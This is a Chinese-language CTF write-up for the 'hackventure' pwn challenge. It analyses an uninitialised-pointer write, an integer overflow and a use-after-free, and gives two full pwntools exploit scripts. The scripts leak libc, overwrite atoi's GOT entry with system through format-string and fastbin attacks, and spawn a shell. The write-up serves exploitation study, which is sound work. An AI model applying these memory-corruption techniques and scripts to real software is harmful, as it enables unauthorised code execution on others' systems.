漏洞类型:未定义指针引用、整数溢出、UAF
利用方法:控制未定义指针、UAF
程序入口:
root@kali ~/桌面# ./hackventure
************************************************
* Welcome to Hackventure (Hack3r's Adventure). *
************************************************
$ list
list - list all commands
help - show usage of a command
map - show map
status - show player's status
go - make movement
explore - explore current location
goodnight - sleep at home until the morning of next day (HP refilled)
local_attack - attack the server at current location (-20 HP)
remote_attack - attack remote server from your bot at current location (-30 HP)
remote_attacks - attack remote servers from your bot at current location (-30 HP)
deploy - deploy something on your bot
proxy - set a parent proxy
buy - buy products from the store
$
在本题中,主要存在三个问题:
问题一 未定义指针引用,看一下local_attack中的实现代码
printf("You can specify a new name for the owned server.\nName length? ");
v3 = 63LL;
readn_without_null((__int64)&buffer, 63);
length = atoi(&buffer);
if ( Server->nickname && (v4 = strlen((const char *)Server->nickname), v4 >= length) || (v3 = length + 1, (v8 = realloc(0LL, v3)) != 0LL))
{
if ( Server->nickname )
{
v5 = strlen((const char *)Server->nickname);
if ( v5 > (unsigned __int64)length )
v8 = Server->nickname;
}
printf("Name? ", v3);
length = readn_without_null((__int64)v8, length);
Server->nickname = v8;
v2 = (char *)Server->nickname + length;
*v2 = 0;
}
在成功控制一台服务器后,可以给这台机器命名,名称的长度任意且可控。但是在这儿的逻辑当中,如果在第一次控制时填入了长度为16的字符串,那么当再次控制时,再次使得输入长度等于16,将会导致v8是一个未定义指针。不难理解,如果可以控制栈上的内容的话,就可以实现任意内存写。在同级函数中,deploy函数可以在栈上填充的空间比较大
int __fastcall deploy(__int64 a1, __int64 a2)
{
const char *v2; // rbx@3
int v3; // eax@3
int result; // eax@3
__int64 v5; // [sp+0h] [bp-60h]@1
char nptr; // [sp+10h] [bp-50h]@1
printf("How many do you want to deploy? ", a2);
readn_without_null((__int64)&nptr, 63);
...
}
但是实际测试时发现,如果分两次调用deploy和local_attack将会导致先前填充的栈被清空,实际上,这是因为触发了strtok操作导致栈内容发生改变
__int64 __fastcall parse_command(char *a1, __int64 a2)
{
unsigned int v3; // [sp+14h] [bp-Ch]@1
char *v4; // [sp+18h] [bp-8h]@1
v4 = strtok(a1, " ");
v3 = 0;
while ( v4 )
{
*(_QWORD *)(a2 + 8LL * v3++) = v4;
if ( v3 > 0xF )
return v3;
v4 = strtok(0LL, " ");
}
return v3;
}
那么有没有可能一次性输入两条命令,继续看主循环函数代码
for ( i = 0; i <= 12; ++i ) //12次循环
{
if ( !strcasecmp(*v5, *(const char **)&commands[10 * i + 60]) )
{
if ( commands[10 * i + 62] == v4 )
{
(*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(v4, v5);
v4 = 0;
}
else if ( commands[10 * i + 62] >= v4 )
{
puts("wrong arguments");
printf("%s - %s\n usage: %s\n", *v5, *(_QWORD *)&commands[10 * i + 66], *(_QWORD *)&commands[10 * i + 68]);
v4 = 0;
}
else
{
(*(void (__fastcall **)(_QWORD, const char **))&commands[10 * i + 64])(commands[10 * i + 62], v5); //执行命令
v4 -= commands[10 * i + 62];
v5 += commands[10 * i + 62]; //v5指针后移,实际上,这里加的是参数个数
}
break;
}
}
因此,本题的最终思路为控制血量最少(因为打起来最轻松)的服务器,并输入固定长度(长度根据需要确定)的名称,然后再去买点商店买点东西,接着回到服务器所在的位置并先打成残血,最后在一行命令里面执行deploy和local_attack来实现任意内存写。这里选择将atoi修改printf,接下来就可以用格式化字符串实现地址泄露,并在泄露完成后将atoi修改成system函数,以下是完整的利用代码
from pwn import *
slog = 0
if slog: context.log_level = True
p = process('./hackventure')
curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)
def init_position():
global curpos
global servers
global home
global store
p.recvuntil('$')
p.sendline('map')
p.recvuntil('+--------------------------------+')
for y in range(16):
#print y
aline = p.recvline()[1:-2]
#print aline
if aline.find('*') != -1:
curpos = (aline.find('*'), y)
if aline.find('S') != -1:
servers.append((aline.find('S'), y))
if aline.find('H') != -1:
home = (aline.find('H'), y)
if aline.find('T') != -1:
store = (aline.find('T'), y)
#print curpos, servers, home, store
def go(position):
global curpos
relativeX = position[0] - curpos[0]
relativeY = position[1] - curpos[1]
command = ''
if relativeX < 0:
command += abs(relativeX) * 'go LEFT\n'
else:
command += abs(relativeX) * 'go RIGHT\n'
if relativeY < 0:
command += abs(relativeY) * 'go UP\n'
else:
command += abs(relativeY) * 'go DOWN\n'
p.recvuntil('$')
p.sendline(command)
curpos = position
#print curpos, servers, home, store
def explore():
global servers
global target
for i in range(len(servers)):
go(servers[i])
p.recvuntil('$')
p.sendline('explore')
p.recvline()
data = p.recvuntil('Status')
if 'HP: 100' in data:
target = servers[i]
break
def local_attack(name = 'aaaa'):
p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('length?')
p.sendline(str(len(name)+1))
p.recvuntil('Name?')
p.sendline(name)
def sleep():
p.recvuntil('$')
p.sendline('goodnight')
p.recvuntil('$')
p.sendline('goodnight')
def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('buy {0} {1}'.format(str(count), goods_name))
def deploy(count = 1, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('deploy ExploitKit')
p.recvuntil('want to deploy?')
p.sendline(str(count))
init_position()
explore()
go(target)
local_attack('a'*8)
go(home)
sleep()
go(target)
p.recvuntil('$')
p.sendline('local_attack')
p.recvuntil('$')
p.sendline('deploy ExploitKit local_attack')
p.recvuntil('want to deploy?')
pwnfile = ELF('hackventure')
p.sendline('a' * 32 + p64(pwnfile.got['atoi']))
p.recvuntil('length?')
p.sendline('8')
p.recvuntil('Name?')
p.sendline(p64(pwnfile.plt['printf']))
def call_printf(format_str):
p.recvuntil('$')
p.sendline('deploy haha')
p.recvuntil('want to deploy?')
p.sendline(format_str)
call_printf("aabb%9$s".ljust(8, 'a') + p64(pwnfile.got['printf']))
p.recvuntil('aabb')
printf_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'printf addr is ', hex(printf_addr)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
system_addr = libc.symbols['system'] - libc.symbols['printf'] + printf_addr
print 'system_addr is',hex(system_addr)
def generate_format(addr, value):
payload = ''
print_count = 0
addr_part = ''
for i in range(3):
two_byte = (value >> (16*i)) & 0xffff
payload += '%{0}c%{1}$hn'.format((two_byte - print_count) % 0x10000, 13 + i)
print_count += (two_byte - print_count) % 0x10000
addr_part += p64(addr + i*2)
payload = payload.ljust(0x28, 'a')
payload += addr_part
return payload
#gdb.attach(p, open('debug'))
call_printf(generate_format(pwnfile.got['atoi'], system_addr))
p.sendline('deploy haha')
p.sendline("/bin/sh")
p.sendline('echo aabb')
p.recvuntil('aabb')
p.interactive()
问题二 整数溢出
整数溢出漏洞出现在buy功能中,先看下面的代码
int __fastcall buy(__int64 a1, __int64 a2)
{
result = map_0[4 * (32LL * y + x)];
if ( result == 3 )
{
for ( i = 0; i <= 3; ++i )
{
result = strcasecmp(*(const char **)(a2 + 16), goods_name[5 * i]);
if ( !result )
{
count = atoi(*(const char **)(a2 + 8));
cost = count * LODWORD(goods_name[5 * i + 3]);// 存在整数溢出
if ( money < cost )
{
result = puts("Go away, poor man.");
}
else
{
money -= cost;
count没有范围限制,那么在输入一个很大的count值之后cost将会变成负数(这是最先发现的问题,然而作用不大)
问题三 UAF
这个漏洞(据说这个漏洞出题人自己也没有意识到,不得不佩服大佬们发现问题的能力,其次,就算是专业搞安全的人,也不见得写出来的代码就是安全的,因此,只要是人写的代码,就会有漏洞)出现在deploy功能中
(&hacker)[2 * (j + 2LL)][1] -= a1;
puts("Success.");
LODWORD(v3) = (&hacker)[2 * (j + 2LL)][1];
if ( !(_DWORD)v3 )
LODWORD(v3) = (unsigned __int64)realloc((&hacker)[2 * (j + 2LL)], 0LL);// 等同于free
不难发现,这里在进行了free操作后并没有将指针置空,那就意味着可以无限次的进行free操作,对应商品的结构如下
struct Item
{
_int32 count;
_int32 type; //共4种类型
}
我们可以按下面的方式构造堆块
----------------------- Item1
count(1)+type(1)
----------------------- Item2
count(1)+type(2)
----------------------- Item3
count(1)+type(3)
----------------------- Other block(防止堆块合并)
Item是使用金币购买的三种产品。题目默认给定的金币数量是100,因为后面需要多次购买,所以可以考虑使用整数溢出漏洞增加金币或者反复打HP100的服务器来挣钱。接下来考虑这样一种情况:依次free掉Item1、Item2、Item3,然后触发local_attack分配内存name,此时name将指向Item3,可以将name的内容构造成count(1)+type(3),就可以触发deploy中的free操作,此时Item3已经成了fastbin链的头结点,因此,其fd指针将保存的是Item2的地址,也就是堆地址,这个时候只要调用一下explore功能就可以打印出堆地址。
到这里,利用似乎陷入了僵局,因为我们没有办法控制Item1、Item2、Item3的堆结构。事实上,可以通过分配一块较大的内存来触发fastbin合并(当然,这里应该还可以通过其他方法来控制内存,这里先不讨论)
这一步实际上解决了两个问题:泄露libc地址、将三个fastbin合并成一个大的堆块。现在,我们已经可以通过申请大小为0x50的内存的方式来控制Item2、Item3的完整堆结构了,后面可以按照下述思路拿shell:一、通过fastbin attack在main_arena上写入0x80用作堆头 二、再次通过fastbin attack控制main_arena的top指针(指向got表) 三、申请一块内存(大小为0x70)即可获得指向got的指针,此时可将修改aoti函数修改为system。在看writeup的时候,还提到了另外一种思路:通过修改stdout指针的方式去控制printf,有兴趣的同学可以试试。下面是完整的利用代码:
from pwn import *
slog = 0
debug = 1
if slog: context.log_level = True
p = process('./hackventure')
curpos = (0,0)
servers = []
home = (0,0)
store = (0,0)
def init_position():
global curpos
global servers
global home
global store
p.recvuntil('$')
p.sendline('map')
p.recvuntil('+--------------------------------+')
for y in range(16):
aline = p.recvline()[1:-2]
if aline.find('*') != -1:
curpos = (aline.find('*'), y)
while aline.find('S') != -1:
posX = aline.find('S')
servers.append((posX, y))
aline = aline[:posX] + 'x' + aline[posX+1:]
if aline.find('H') != -1:
home = (aline.find('H'), y)
if aline.find('T') != -1:
store = (aline.find('T'), y)
#print curpos, servers, home, store
def go(position):
global curpos
relativeX = position[0] - curpos[0]
relativeY = position[1] - curpos[1]
command = ''
if relativeX < 0:
command += abs(relativeX) * 'go LEFT\n'
else:
command += abs(relativeX) * 'go RIGHT\n'
if relativeY < 0:
command += abs(relativeY) * 'go UP\n'
else:
command += abs(relativeY) * 'go DOWN\n'
p.recvuntil('$')
p.sendline(command)
curpos = position
#print curpos, servers, home, store
def explore_all():
global servers
global target
global target2
for i in range(len(servers)):
go(servers[i])
p.recvuntil('$')
p.sendline('explore')
p.recvuntil('IP: ')
aline = p.recvline()
servers[i] = (servers[i], aline[:-1])
data = p.recvuntil('Status')
if 'HP: 100' in data:
target = servers[i][0]
if 'HP: 200' in data:
target2 = servers[i]
def local_attack(times = 2, success = True, name = 'aaaa', length = -1):
for i in range(times):
p.recvuntil('$')
p.sendline('local_attack')
if success:
p.recvuntil('length?')
if length != -1:
p.sendline(str(length))
else:
p.sendline(str(len(name)+1))
p.recvuntil('Name?')
p.sendline(name)
def remote_attack(server, ip):
p.recvuntil('$')
p.sendline('remote_attack ' + ip)
def rest():
p.recvuntil('$')
p.sendline('goodnight')
p.recvuntil('$')
p.sendline('goodnight')
def buy(count = 92233720368547758, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('buy {0} {1}'.format(str(count), goods_name))
def deploy(count = 1, goods_name = 'ExploitKit'):
p.recvuntil('$')
p.sendline('deploy ' + goods_name)
p.recvuntil('want to deploy?')
p.sendline(str(count))
def explore():
p.recvuntil('$')
p.sendline('explore')
init_position()
explore_all()
goods_name = ['ExploitKit', 'SafeLine', 'D-Sensor', 'Proxy']
godds_price = {'ExploitKit': 200, 'SafeLine': 100, 'D-Sensor':50}
go(store)
special_count = (1 << 64) / 200 - 200
#make money
buy(special_count, 'ExploitKit')
buy(1, goods_name[1])
buy(1, goods_name[2])
buy(1, goods_name[3])
go(target)
local_attack()
for i in range(2):
deploy(1, goods_name[1])
deploy(1, goods_name[2])
deploy(1, goods_name[3])
remote_attack(target, target2[1])
go(home)
rest()
go(target2[0])
local_attack(3, True, p32(2) + p32(1))
buy(1, goods_name[2])
for i in range(5):
deploy(1, goods_name[2])
#leak heap addr
deploy(1, goods_name[1])
#deploy((special_count & 0xffffffff), goods_name[0])
explore()
p.recvuntil('Name: ')
heap_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'heap_addr is', hex(heap_addr)
def rename(_name = 'aaaa', _length = -1):
go(home)
rest()
rest()
go(target)
local_attack(name = _name, length = _length)
#leak libc addr and trigger malloc_consolidate
rename(p64(0x70) + p64(0x21) + p64(0x80) + p64(0x21), 0x20000)
go(target2[0])
if debug: gdb.attach(p, open('debug'))
explore()
p.recvuntil('Name: ')
leak_libc_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 0x40
print 'leak libc addr is', hex(leak_libc_addr)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
libc_base = leak_libc_addr - 0x398b00 - 0x18
rename(p32(1) + p32(1) + p64(0)*2 + p64(0x71) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])
#create fake heap in main_arena
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x71) + p64(0x80), 0x50)
rename('aaaa', 0x60)
deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p32(2) + p32(1), 0x50)
deploy(1, goods_name[2])
deploy(1, goods_name[1])
rename(p32(1) +p32(1) + p64(0)*2 + p64(0x81) + p64(leak_libc_addr + 0x10), 0x50)
rename('aaaaaa', 0x70)
#alert main_arena->top to GOT table
rename(p64(0)*4 + p64(0x604080), 0x70)
#alert GOT of atoi to system
system_addr = libc_base + libc.symbols['system']
rename(p64(0x400916) + p64(system_addr), 0xa0)
p.recvuntil('$ ')
p.sendline('deploy hackit')
p.recvuntil('want to deploy?')
p.sendline('/bin/sh')
p.interactive()
参考资料:
https://pwnhub.cn/media/writeup/112/5979cf77-0a4a-4095-bd6f-2eebc88a34f8_e5804144.pdf
https://pwnhub.cn/media/writeup/115/00e617c5-c794-456d-a656-3b8277a578bb_8282c1d1.pdf